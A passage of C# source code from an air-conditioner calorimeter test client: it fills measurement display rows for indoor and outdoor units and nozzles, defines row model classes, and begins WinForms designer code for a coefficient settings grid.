TotalRateds.Add(new MeasureRow(null, "Integ Time(IDU)"));
TotalRateds.Add(new MeasureRow(null));
TotalRateds.Add(new MeasureRow(null, "Power Input(ODU)"));
TotalRateds.Add(new MeasureRow(null, "Voltage(ODU)"));
TotalRateds.Add(new MeasureRow(null, "Current(ODU)"));
TotalRateds.Add(new MeasureRow(null, "Frequency(ODU)"));
TotalRateds.Add(new MeasureRow(null, "Power Factor(ODU)"));
TotalRateds.Add(new MeasureRow(null, "Integ Power(ODU)"));
TotalRateds.Add(new MeasureRow(null, "Integ Time(ODU)"));
RunStates = new List<MeasureRow>();
RunStates.Add(new MeasureRow(null, "Condition"));
RunStates.Add(new MeasureRow(null, "Running Step"));
RunStates.Add(new MeasureRow(null, "Elapsed Time"));
RunStates.Add(new MeasureRow(null, "Total Elapsed"));
RunStates.Add(new MeasureRow(null));
RunStates.Add(new MeasureRow(null, "Preparation", "00:00:00:00 / 00:00:00:00"));
RunStates.Add(new MeasureRow(null, "Judgement", "00:00:00:00 / 00:00:00:00"));
RunStates.Add(new MeasureRow(null, "Integration", "00:00:00:00 / 00:00:00:00"));
RunStates.Add(new MeasureRow(null));
RunStates.Add(new MeasureRow(null, "No of Steady"));
RunStates.Add(new MeasureRow(null, "Repeat"));
RunStates.Add(new MeasureRow(null, "Schedule"));
AirSides = new List<MeasureAirSideRow>();
AirSides.Add(new MeasureAirSideRow("Capacity", value.Calcurated["ID11.Capacity"], value.Calcurated["ID12.Capacity"], value.Calcurated["ID21.Capacity"], value.Calcurated["ID22.Capacity"]));
AirSides.Add(new MeasureAirSideRow("Capacity Ratio", value.Calcurated["ID11.Capacity.Ratio"], value.Calcurated["ID12.Capacity.Ratio"], value.Calcurated["ID21.Capacity.Ratio"], value.Calcurated["ID22.Capacity.Ratio"]));
AirSides.Add(new MeasureAirSideRow("Sensible Heat", value.Calcurated["ID11.Sensible.Heat"], value.Calcurated["ID12.Sensible.Heat"], value.Calcurated["ID21.Sensible.Heat"], value.Calcurated["ID22.Sensible.Heat"]));
AirSides.Add(new MeasureAirSideRow("Latent Heat", value.Calcurated["ID11.Latent.Heat"], value.Calcurated["ID12.Latent.Heat"], value.Calcurated["ID21.Latent.Heat"], value.Calcurated["ID22.Latent.Heat"]));
AirSides.Add(new MeasureAirSideRow("Sensible Heat Ratio", value.Calcurated["ID11.Sensible.Heat.Ratio"], value.Calcurated["ID12.Sensible.Heat.Ratio"], value.Calcurated["ID21.Sensible.Heat.Ratio"], value.Calcurated["ID22.Sensible.Heat.Ratio"]));
AirSides.Add(new MeasureAirSideRow("Heat Leakage", value.Calcurated["ID11.Heat.Leakage"], value.Calcurated["ID12.Heat.Leakage"], value.Calcurated["ID21.Heat.Leakage"], value.Calcurated["ID22.Heat.Leakage"]));
AirSides.Add(new MeasureAirSideRow("Drain Weight", value.Calcurated["ID11.Drain.Weight"], value.Calcurated["ID12.Drain.Weight"], value.Calcurated["ID21.Drain.Weight"], value.Calcurated["ID22.Drain.Weight"]));
AirSides.Add(new MeasureAirSideRow("", null, null, null, null, true));
AirSides.Add(new MeasureAirSideRow("Entering DB", value.Measured["ID11.Entering.DB"], value.Measured["ID12.Entering.DB"], value.Measured["ID21.Entering.DB"], value.Measured["ID22.Entering.DB"]));
AirSides.Add(new MeasureAirSideRow("Entering WB", value.Measured["ID11.Entering.WB"], value.Measured["ID12.Entering.WB"], value.Measured["ID21.Entering.WB"], value.Measured["ID22.Entering.WB"]));
AirSides.Add(new MeasureAirSideRow("Entering RH", value.Calcurated["ID11.Entering.RH"], value.Calcurated["ID12.Entering.RH"], value.Calcurated["ID21.Entering.RH"], value.Calcurated["ID22.Entering.RH"]));
AirSides.Add(new MeasureAirSideRow("Leaving DB", value.Measured["ID11.Leaving.DB"], value.Measured["ID12.Leaving.DB"], value.Measured["ID21.Leaving.DB"], value.Measured["ID22.Leaving.DB"]));
AirSides.Add(new MeasureAirSideRow("Leaving WB", value.Measured["ID11.Leaving.WB"], value.Measured["ID12.Leaving.WB"], value.Measured["ID21.Leaving.WB"], value.Measured["ID22.Leaving.WB"]));
AirSides.Add(new MeasureAirSideRow("Leaving RH", value.Calcurated["ID11.Leaving.RH"], value.Calcurated["ID12.Leaving.RH"], value.Calcurated["ID21.Leaving.RH"], value.Calcurated["ID22.Leaving.RH"]));
AirSides.Add(new MeasureAirSideRow("", null, null, null, null, true));
AirSides.Add(new MeasureAirSideRow("Entering Enthalpy", value.Calcurated["ID11.Entering.Enthalpy"], value.Calcurated["ID12.Entering.Enthalpy"], value.Calcurated["ID21.Entering.Enthalpy"], value.Calcurated["ID22.Entering.Enthalpy"]));
AirSides.Add(new MeasureAirSideRow("Leaving Enthalpy", value.Calcurated["ID11.Leaving.Enthalpy"], value.Calcurated["ID12.Leaving.Enthalpy"], value.Calcurated["ID21.Leaving.Enthalpy"], value.Calcurated["ID22.Leaving.Enthalpy"]));
AirSides.Add(new MeasureAirSideRow("Entering Humidity Ratio", value.Calcurated["ID11.Entering.Humidity.Ratio"], value.Calcurated["ID12.Entering.Humidity.Ratio"], value.Calcurated["ID21.Entering.Humidity.Ratio"], value.Calcurated["ID22.Entering.Humidity.Ratio"]));
AirSides.Add(new MeasureAirSideRow("Leaving Humidity Ratio", value.Calcurated["ID11.Leaving.Humidity.Ratio"], value.Calcurated["ID12.Leaving.Humidity.Ratio"], value.Calcurated["ID21.Leaving.Humidity.Ratio"], value.Calcurated["ID22.Leaving.Humidity.Ratio"]));
AirSides.Add(new MeasureAirSideRow("Leaving Specific Heat", value.Calcurated["ID11.Leaving.Specific.Heat"], value.Calcurated["ID12.Leaving.Specific.Heat"], value.Calcurated["ID21.Leaving.Specific.Heat"], value.Calcurated["ID22.Leaving.Specific.Heat"]));
AirSides.Add(new MeasureAirSideRow("Leaving Specific Volume", value.Calcurated["ID11.Leaving.Specific.Volume"], value.Calcurated["ID12.Leaving.Specific.Volume"], value.Calcurated["ID21.Leaving.Specific.Volume"], value.Calcurated["ID22.Leaving.Specific.Volume"]));
AirSides.Add(new MeasureAirSideRow("", null, null, null, null, true));
AirSides.Add(new MeasureAirSideRow("Air Flow [Lev]", value.Calcurated["ID11.Air.Flow.Lev"], value.Calcurated["ID12.Air.Flow.Lev"], value.Calcurated["ID21.Air.Flow.Lev"], value.Calcurated["ID22.Air.Flow.Lev"]));
AirSides.Add(new MeasureAirSideRow("Air Velocity [Lev]", value.Calcurated["ID11.Air.Velocity.Lev"], value.Calcurated["ID12.Air.Velocity.Lev"], value.Calcurated["ID21.Air.Velocity.Lev"], value.Calcurated["ID22.Air.Velocity.Lev"]));
AirSides.Add(new MeasureAirSideRow("Static Pressure", value.Measured["ID11.Static.Pressure"], value.Measured["ID12.Static.Pressure"], value.Measured["ID21.Static.Pressure"], value.Measured["ID22.Static.Pressure"]));
AirSides.Add(new MeasureAirSideRow("Nozzle Diff. Pressure", value.Measured["ID11.Nozzle.Diff.Pressure"], value.Measured["ID12.Nozzle.Diff.Pressure"], value.Measured["ID21.Nozzle.Diff.Pressure"], value.Measured["ID22.Nozzle.Diff.Pressure"]));
AirSides.Add(new MeasureAirSideRow("Atmospheric Pressure", value.Measured["ID1.Atm.Pressure"], value.Measured["ID1.Atm.Pressure"], value.Measured["ID2.Atm.Pressure"], value.Measured["ID2.Atm.Pressure"]));
AirSides.Add(new MeasureAirSideRow("Nozzle Inlet Temp.", value.Measured["ID11.Nozzle.Inlet.Temp"], value.Measured["ID12.Nozzle.Inlet.Temp"], value.Measured["ID21.Nozzle.Inlet.Temp"], value.Measured["ID22.Nozzle.Inlet.Temp"]));
List<CoefficientDataRow> coeffs = Resource.Settings.Coefficients;
Nozzles = new List<MeasureNozzleRow>();
Nozzles.Add(new MeasureNozzleRow("Nozzle 1", coeffs[0].Nozzle1, value.Calcurated["ID11.Nozzle.1"], coeffs[0].Nozzle2, value.Calcurated["ID12.Nozzle.1"], coeffs[0].Nozzle3, value.Calcurated["ID21.Nozzle.1"], coeffs[0].Nozzle4, value.Calcurated["ID22.Nozzle.1"]));
Nozzles.Add(new MeasureNozzleRow("Nozzle 2", coeffs[1].Nozzle1, value.Calcurated["ID11.Nozzle.2"], coeffs[1].Nozzle2, value.Calcurated["ID12.Nozzle.2"], coeffs[1].Nozzle3, value.Calcurated["ID21.Nozzle.2"], coeffs[1].Nozzle4, value.Calcurated["ID22.Nozzle.2"]));
Nozzles.Add(new MeasureNozzleRow("Nozzle 3", coeffs[2].Nozzle1, value.Calcurated["ID11.Nozzle.3"], coeffs[2].Nozzle2, value.Calcurated["ID12.Nozzle.3"], coeffs[2].Nozzle3, value.Calcurated["ID21.Nozzle.3"], coeffs[2].Nozzle4, value.Calcurated["ID22.Nozzle.3"]));
Nozzles.Add(new MeasureNozzleRow("Nozzle 4", coeffs[3].Nozzle1, value.Calcurated["ID11.Nozzle.4"], coeffs[3].Nozzle2, value.Calcurated["ID12.Nozzle.4"], coeffs[3].Nozzle3, value.Calcurated["ID21.Nozzle.4"], coeffs[3].Nozzle4, value.Calcurated["ID22.Nozzle.4"]));
Outsides = new List<MeasureRow>();
Outsides.Add(new MeasureRow(value.Measured["OD.Entering.DB"], "Entering DB"));
Outsides.Add(new MeasureRow(value.Measured["OD.Entering.WB"], "Entering WB"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Entering.RH"], "Entering RH"));
Outsides.Add(new MeasureRow(value.Measured["OD.Entering.DP"], "Entering DP"));
Outsides.Add(new MeasureRow(null));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Sat.Dis.Temp1"], "Sat. Dis. Temp(1)"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Sat.Suc.Temp1"], "Sat. Suc. Temp(1)"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Sub.Cooling1"], "Sub-Cooling(1)"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Super.Heat1"], "Superheat(1)"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Sat.Dis.Temp2"], "Sat. Dis. Temp(2)"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Sat.Suc.Temp2"], "Sat. Suc. Temp(2)"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Sub.Cooling2"], "Sub-Cooling(2)"));
Outsides.Add(new MeasureRow(value.Calcurated["OD.Super.Heat2"], "Superheat(2)"));
Methods = new List<MeasureRow>();
Methods.Add(new MeasureRow(null, "Method", "3min * 3times"));
Methods.Add(new MeasureRow(null, "Scan Time", "3 sec"));
Notes = new List<MeasureRow>();
Notes.Add(new MeasureRow(null, "Company"));
Notes.Add(new MeasureRow(null, "Test Name"));
Notes.Add(new MeasureRow(null, "Test No"));
Notes.Add(new MeasureRow(null, "Observer"));
Notes.Add(new MeasureRow(null));
Notes.Add(new MeasureRow(null, "Maker"));
Notes.Add(new MeasureRow(null, "Model(1)"));
Notes.Add(new MeasureRow(null, "Serial No(1)"));
Notes.Add(new MeasureRow(null, "Model(2)"));
Notes.Add(new MeasureRow(null, "Serial No(2)"));
Notes.Add(new MeasureRow(null, "Model(3)"));
Notes.Add(new MeasureRow(null, "Serial No(3)"));
Notes.Add(new MeasureRow(null, "Exp. Device"));
Notes.Add(new MeasureRow(null, "Refrigerant"));
Notes.Add(new MeasureRow(null, "Ref. Charge"));
Notes.Add(new MeasureRow(null, "Memo"));
Rateds = new List<MeasureRow>();
Rateds.Add(new MeasureRow(null, "Rated Capacity"));
Rateds.Add(new MeasureRow(null, "Rated Power Input"));
Rateds.Add(new MeasureRow(null, "Rated EER/COP"));
Rateds.Add(new MeasureRow(null));
Rateds.Add(new MeasureRow(null, "Voltage"));
Rateds.Add(new MeasureRow(null, "Current"));
Rateds.Add(new MeasureRow(null, "Frequency"));
Rateds.Add(new MeasureRow(null, "Selected PM(IDU)"));
Rateds.Add(new MeasureRow(null, "Selected PM(ODU)"));
Rateds.Add(new MeasureRow(null, "Phase(ODU)"));
Indoors11 = new List<MeasureRow>();
Indoors11.Add(new MeasureRow(null, "Use", "Indoor"));
Indoors11.Add(new MeasureRow(null, "Mode", "Use"));
Indoors11.Add(new MeasureRow(null, "Duct", "Use"));
Indoors11.Add(new MeasureRow(null, "DB", "0.0"));
Indoors11.Add(new MeasureRow(null, "WB", "0.0"));
Indoors12 = new List<MeasureRow>();
Indoors12.Add(new MeasureRow(null, "Use", "Indoor"));
Indoors12.Add(new MeasureRow(null, "Mode", "Use"));
Indoors12.Add(new MeasureRow(null, "Duct", "Use"));
Indoors12.Add(new MeasureRow(null, "DB", "0.0"));
Indoors12.Add(new MeasureRow(null, "WB", "0.0"));
Indoors21 = new List<MeasureRow>();
Indoors21.Add(new MeasureRow(null, "Use", "Indoor"));
Indoors21.Add(new MeasureRow(null, "Mode", "Use"));
Indoors21.Add(new MeasureRow(null, "Duct", "Use"));
Indoors21.Add(new MeasureRow(null, "DB", "0.0"));
Indoors21.Add(new MeasureRow(null, "WB", "0.0"));
Indoors22 = new List<MeasureRow>();
Indoors22.Add(new MeasureRow(null, "Use", "Indoor"));
Indoors22.Add(new MeasureRow(null, "Mode", "Use"));
Indoors22.Add(new MeasureRow(null, "Duct", "Use"));
Indoors22.Add(new MeasureRow(null, "DB", "0.0"));
Indoors22.Add(new MeasureRow(null, "WB", "0.0"));
Outdoors = new List<MeasureRow>();
Outdoors.Add(new MeasureRow(null, "Use", "Outdoor"));
Outdoors.Add(new MeasureRow(null, "DP Sensor", "Use"));
Outdoors.Add(new MeasureRow(null, "Auto Voltage", "Use"));
Outdoors.Add(new MeasureRow(null, "DB", "0.0"));
Outdoors.Add(new MeasureRow(null, "WB", "0.0"));
Pressures = new List<MeasureRow>();
for (int i = 0; i < Resource.Client.Devices.Recorder.PressureLength; i++)
{
Pressures.Add(new MeasureRow(value.Measured[$"Pressure.{i + 1}"], "", "", i + 1));
}
int count = Resource.Client.Devices.Recorder.ThermocoupleLength / 3;
IndoorTC1 = new List<MeasureRow>();
for (int i = 0; i < count; i++)
{
IndoorTC1.Add(new MeasureRow(value.Measured[$"ID1.TC.{i + 1:d3}"], "", "", i + 1));
}
IndoorTC2 = new List<MeasureRow>();
for (int i = 0; i < count; i++)
{
IndoorTC2.Add(new MeasureRow(value.Measured[$"ID2.TC.{i + 1:d3}"], "", "", i + 1));
}
OutdoorTC = new List<MeasureRow>();
for (int i = 0; i < count; i++)
{
OutdoorTC.Add(new MeasureRow(value.Measured[$"OD.TC.{i + 1:d3}"], "", "", i + 1));
}
}
public CtrlTestMeas Control { get; set; }
public List<MeasureRow> TotalRateds { get; set; }
public List<MeasureRow> RunStates { get; set; }
public List<MeasureAirSideRow> AirSides { get; set; }
public List<MeasureNozzleRow> Nozzles { get; set; }
public List<MeasureRow> Outsides { get; set; }
public List<MeasureRow> Methods { get; set; }
public List<MeasureRow> Notes { get; set; }
public List<MeasureRow> Rateds { get; set; }
public List<MeasureRow> Indoors11 { get; set; }
public List<MeasureRow> Indoors12 { get; set; }
public List<MeasureRow> Indoors21 { get; set; }
public List<MeasureRow> Indoors22 { get; set; }
public List<MeasureRow> Outdoors { get; set; }
public List<MeasureRow> IndoorTC1 { get; set; }
public List<MeasureRow> IndoorTC2 { get; set; }
public List<MeasureRow> OutdoorTC { get; set; }
public List<MeasureRow> Pressures { get; set; }
public Dictionary<string, ValueRow> GraphRows { get; set; }
}
#endregion
#region MeasureRow
public class MeasureRow
{
public MeasureRow(ValueRow row, string head = "", string strValue = "", int no = 0, int recNo = 0)
{
this.Row = row;
this.head = head;
this.strValue = strValue;
this.No = no;
this.RecNo = recNo;
this.state = EValueState.None;
}
private string head;
public int RecNo { get; set; }
public int No { get; }
public ValueRow Row { get; set; }
public string Name
{
get
{
if (head.ToLower() != "none") return head;
if (Row == null) return string.Empty;
return Row?.Name;
}
set
{
head = value;
}
}
private string strValue;
public string Value
{
get
{
if (string.IsNullOrWhiteSpace(strValue) == false) return strValue;
if (Row == null) return string.Empty;
return Row.StringValue;
}
set
{
strValue = value;
}
}
public string Format
{
get
{
return Row?.Format;
}
}
private string unit;
public string Unit
{
get
{
if (string.IsNullOrWhiteSpace(unit) == false) return unit;
if (Row == null) return string.Empty;
return Row.Unit.ToDescription;
}
set
{
unit = value;
}
}
private EValueState state;
public EValueState State
{
get
{
if (Value == "-") return EValueState.None;
if (Row != null) return Row.State;
return state;
}
set
{
state = value;
}
}
}
#endregion
#region MeasureAirSideRow
public class MeasureAirSideRow
{
public MeasureAirSideRow(string name, ValueRow id11Row,
ValueRow id12Row, ValueRow id21Row, ValueRow id22Row, bool empty = false)
{
this.Name = name;
this.ID11Row = id11Row;
this.ID12Row = id12Row;
this.ID21Row = id21Row;
this.ID22Row = id22Row;
this.empty = empty;
this.Indoor11Enabled = true;
this.Indoor12Enabled = true;
this.Indoor21Enabled = true;
this.Indoor22Enabled = true;
}
private bool empty;
private string name;
public string Name
{
get
{
if (empty == true) return "";
return name;
}
private set
{
name = value;
}
}
public ValueRow ID11Row;
public string Indoor11
{
get
{
if (empty == true) return "";
if (ID11Row == null) return "-";
if (Indoor11Enabled == false) return "-";
return ID11Row.StringValue;
}
}
public EValueState Indoor11State
{
get
{
if (Indoor11Enabled == false) return EValueState.None;
return (ID11Row == null) ? EValueState.None : ID11Row.State;
}
}
public bool Indoor11Enabled { get; set; }
public ValueRow ID12Row;
public string Indoor12
{
get
{
if (empty == true) return "";
if (ID12Row == null) return "-";
if (Indoor12Enabled == false) return "-";
return ID12Row.StringValue;
}
}
public EValueState Indoor12State
{
get
{
if (Indoor12Enabled == false) return EValueState.None;
return (ID12Row == null) ? EValueState.None : ID12Row.State;
}
}
public bool Indoor12Enabled { get; set; }
public ValueRow ID21Row;
public string Indoor21
{
get
{
if (empty == true) return "";
if (ID21Row == null) return "-";
if (Indoor21Enabled == false) return "-";
return ID21Row.StringValue;
}
}
public EValueState Indoor21State
{
get
{
if (Indoor21Enabled == false) return EValueState.None;
return (ID21Row == null) ? EValueState.None : ID21Row.State;
}
}
public bool Indoor21Enabled { get; set; }
public ValueRow ID22Row;
public string Indoor22
{
get
{
if (empty == true) return "";
if (ID22Row == null) return "-";
if (Indoor22Enabled == false) return "-";
return ID22Row.StringValue;
}
}
public EValueState Indoor22State
{
get
{
if (Indoor22Enabled == false) return EValueState.None;
return (ID22Row == null) ? EValueState.None : ID22Row.State;
}
}
public bool Indoor22Enabled { get; set; }
public string Format
{
get
{
if (empty == true) return "";
return ID11Row.Format;
}
}
public string Unit
{
get
{
if (empty == true) return "";
string unit = "-";
if (ID11Row != null) unit = ID11Row.Unit.ToDescription;
else if (ID12Row != null) unit = ID12Row.Unit.ToDescription;
else if (ID21Row != null) unit = ID21Row.Unit.ToDescription;
else if (ID22Row != null) unit = ID22Row.Unit.ToDescription;
return unit;
}
}
}
#endregion
#region MeasureNozzleRow
public class MeasureNozzleRow
{
public MeasureNozzleRow(string name,
float id11Diameter, ValueRow id11Row,
float id12Diameter, ValueRow id12Row,
float id21Diameter, ValueRow id21Row,
float id22Diameter, ValueRow id22Row)
{
Name = name;
this.id11Diameter = id11Diameter;
this.id12Diameter = id12Diameter;
this.id21Diameter = id21Diameter;
this.id22Diameter = id22Diameter;
this.ID11Row = id11Row;
this.ID12Row = id12Row;
this.ID21Row = id21Row;
this.ID22Row = id22Row;
this.ID11Enabled = true;
this.ID12Enabled = true;
this.ID21Enabled = true;
this.ID22Enabled = true;
}
public string Name { get; set; }
public void SetDiameter(float id11, float id12, float id21, float id22)
{
this.id11Diameter = id11;
this.id12Diameter = id12;
this.id21Diameter = id21;
this.id22Diameter = id22;
}
private float id11Diameter;
public string ID11Diameter
{
get
{
if (ID11Enabled == false) return "-";
return $"{id11Diameter}mm";
}
}
public ValueRow ID11Row { get; set; }
public int ID11State
{
get
{
if (ID11Enabled == false) return -1;
return (ID11Row.Raw < 0.1) ? 0 : 1;
}
}
public bool ID11Enabled { get; set; }
private float id12Diameter;
public string ID12Diameter
{
get
{
if (ID12Enabled == false) return "-";
return $"{id12Diameter}mm";
}
}
public ValueRow ID12Row { get; set; }
public int ID12State
{
get
{
if (ID12Enabled == false) return -1;
return (ID12Row.Raw < 0.1) ? 0 : 1;
}
}
public bool ID12Enabled { get; set; }
private float id21Diameter;
public string ID21Diameter
{
get
{
if (ID21Enabled == false) return "-";
return $"{id21Diameter}mm";
}
}
public ValueRow ID21Row { get; set; }
public int ID21State
{
get
{
if (ID21Enabled == false) return -1;
return (ID21Row.Raw < 0.1) ? 0 : 1;
}
}
public bool ID21Enabled { get; set; }
private float id22Diameter;
public string ID22Diameter
{
get
{
if (ID22Enabled == false) return "-";
return $"{id22Diameter}mm";
}
}
public ValueRow ID22Row { get; set; }
public int ID22State
{
get
{
if (ID22Enabled == false) return -1;
return (ID22Row.Raw < 0.1) ? 0 : 1;
}
}
public bool ID22Enabled { get; set; }
}
#endregion
#region GraphSeriesRow
public class GraphSeriesRow
{
public GraphSeriesRow(bool active, Color color, string name, string value, string unit)
{
Checked = active;
Color = color;
Name = name;
Value = value;
Unit = unit;
}
public bool Checked { get; set; }
public Color Color { get; set; }
public string Name { get; set; }
public string Value { get; set; }
public string Unit { get; set; }
}
#endregion
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlConfigCoefficient
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CtrlConfigCoefficient));
this.menuPanel = new Ulee.Controls.UlPanel();
this.saveButton = new DevExpress.XtraEditors.SimpleButton();
this.thermoPanel = new Ulee.Controls.UlPanel();
this.coeffGrid = new DevExpress.XtraGrid.GridControl();
this.coeffGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.coeffNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.coeffID11Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.coeffID12Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.coeffID21Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.coeffID22Column = new DevExpress.XtraGrid.Columns.GridColumn();
this.coeffTitlePanel = new Ulee.Controls.UlPanel();
this.menuPanel.SuspendLayout();
this.thermoPanel.SuspendLayout();
((System.ComponentModel.ISupportInitialize)(this.coeffGrid)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.coeffGridView)).BeginInit();
this.SuspendLayout();
//
// bgPanel
//
this.bgPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.bgPanel.Size = new System.Drawing.Size(1816, 915);
//
// menuPanel
//
this.menuPanel.BackColor = System.Drawing.Color.Silver;
this.menuPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.menuPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.menuPanel.Controls.Add(this.saveButton);
this.menuPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.menuPanel.InnerColor2 = System.Drawing.Color.White;
this.menuPanel.Location = new System.Drawing.Point(1732, 0);
this.menuPanel.Name = "menuPanel";
this.menuPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.menuPanel.OuterColor2 = System.Drawing.Color.White;
this.menuPanel.Size = new System.Drawing.Size(84, 915);
this.menuPanel.Spacing = 0;
this.menuPanel.TabIndex = 11;
this.menuPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.menuPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// saveButton
//
this.saveButton.AllowFocus = false;
this.saveButton.Appearance.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.saveButton.Appearance.Options.UseBorderColor = true;
this.saveButton.Appearance.Options.UseFont = true;
this.saveButton.Appearance.Options.UseTextOptions = true;
this.saveButton.Appearance.TextOptions.VAlignment = DevExpress.Utils.VertAlignment.Bottom;
this.saveButton.ImageOptions.Image = ((System.Drawing.Image)(resources.GetObject("saveButton.ImageOptions.Image")));
this.saveButton.ImageOptions.ImageToTextAlignment = DevExpress.XtraEditors.ImageAlignToText.TopCenter;
this.saveButton.ImageOptions.ImageToTextIndent = 12;
this.saveButton.Location = new System.Drawing.Point(2, 854);
this.saveButton.Name = "saveButton";
this.saveButton.Size = new System.Drawing.Size(80, 58);
this.saveButton.TabIndex = 21;
this.saveButton.TabStop = false;
this.saveButton.Text = "Save";
this.saveButton.Click += new System.EventHandler(this.saveButton_Click);
//
// thermoPanel
//
this.thermoPanel.BevelInner = Ulee.Controls.EUlBevelStyle.Raised;
this.thermoPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Lowered;
this.thermoPanel.Controls.Add(this.coeffGrid);
this.thermoPanel.Controls.Add(this.coeffTitlePanel);
this.thermoPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.thermoPanel.InnerColor2 = System.Drawing.Color.White;
this.thermoPanel.Location = new System.Drawing.Point(0, 0);
this.thermoPanel.Name = "thermoPanel";
this.thermoPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.thermoPanel.OuterColor2 = System.Drawing.Color.White;
this.thermoPanel.Size = new System.Drawing.Size(850, 915);
this.thermoPanel.Spacing = 0;
this.thermoPanel.TabIndex = 0;
this.thermoPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.thermoPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// coeffGrid
//
this.coeffGrid.Location = new System.Drawing.Point(6, 40);
this.coeffGrid.MainView = this.coeffGridView;
this.coeffGrid.Name = "coeffGrid";
this.coeffGrid.Size = new System.Drawing.Size(838, 869);
this.coeffGrid.TabIndex = 0;
this.coeffGrid.ViewCollection.AddRange(new DevExpress.XtraGrid.Views.Base.BaseView[] {
this.coeffGridView});
//
// coeffGridView
//
this.coeffGridView.Appearance.FixedLine.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.FixedLine.Options.UseFont = true;
this.coeffGridView.Appearance.FocusedCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffGridView.Appearance.FocusedCell.Options.UseFont = true;
this.coeffGridView.Appearance.FocusedRow.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.FocusedRow.Options.UseFont = true;
this.coeffGridView.Appearance.HeaderPanel.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.HeaderPanel.Options.UseFont = true;
this.coeffGridView.Appearance.HideSelectionRow.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.HideSelectionRow.Options.UseFont = true;
this.coeffGridView.Appearance.OddRow.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.OddRow.Options.UseFont = true;
this.coeffGridView.Appearance.Preview.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.Preview.Options.UseFont = true;
this.coeffGridView.Appearance.Row.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.Row.Options.UseFont = true;
this.coeffGridView.Appearance.SelectedRow.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.SelectedRow.Options.UseFont = true;
this.coeffGridView.Appearance.ViewCaption.Font = new System.Drawing.Font("Arial", 9F);
this.coeffGridView.Appearance.ViewCaption.Options.UseFont = true;
this.coeffGridView.Columns.AddRange(new DevExpress.XtraGrid.Columns.GridColumn[] {
this.coeffNameColumn,
this.coeffID11Column,
this.coeffID12Column,
this.coeffID21Column,
this.coeffID22Column});
this.coeffGridView.CustomizationFormBounds = new System.Drawing.Rectangle(2884, 580, 210, 186);
this.coeffGridView.GridControl = this.coeffGrid;
this.coeffGridView.HorzScrollVisibility = DevExpress.XtraGrid.Views.Base.ScrollVisibility.Never;
this.coeffGridView.Name = "coeffGridView";
this.coeffGridView.OptionsClipboard.AllowCopy = DevExpress.Utils.DefaultBoolean.True;
this.coeffGridView.OptionsClipboard.AllowExcelFormat = DevExpress.Utils.DefaultBoolean.True;
this.coeffGridView.OptionsClipboard.CopyColumnHeaders = DevExpress.Utils.DefaultBoolean.False;
this.coeffGridView.OptionsNavigation.EnterMoveNextColumn = true;
this.coeffGridView.OptionsSelection.MultiSelect = true;
this.coeffGridView.OptionsView.ColumnAutoWidth = false;
this.coeffGridView.OptionsView.ShowGroupPanel = false;
this.coeffGridView.OptionsView.ShowIndicator = false;
this.coeffGridView.Tag = 1;
//
// coeffNameColumn
//
this.coeffNameColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffNameColumn.AppearanceCell.Options.UseFont = true;
this.coeffNameColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.coeffNameColumn.AppearanceHeader.Options.UseFont = true;
this.coeffNameColumn.Caption = "Name";
this.coeffNameColumn.FieldName = "Name";
this.coeffNameColumn.Name = "coeffNameColumn";
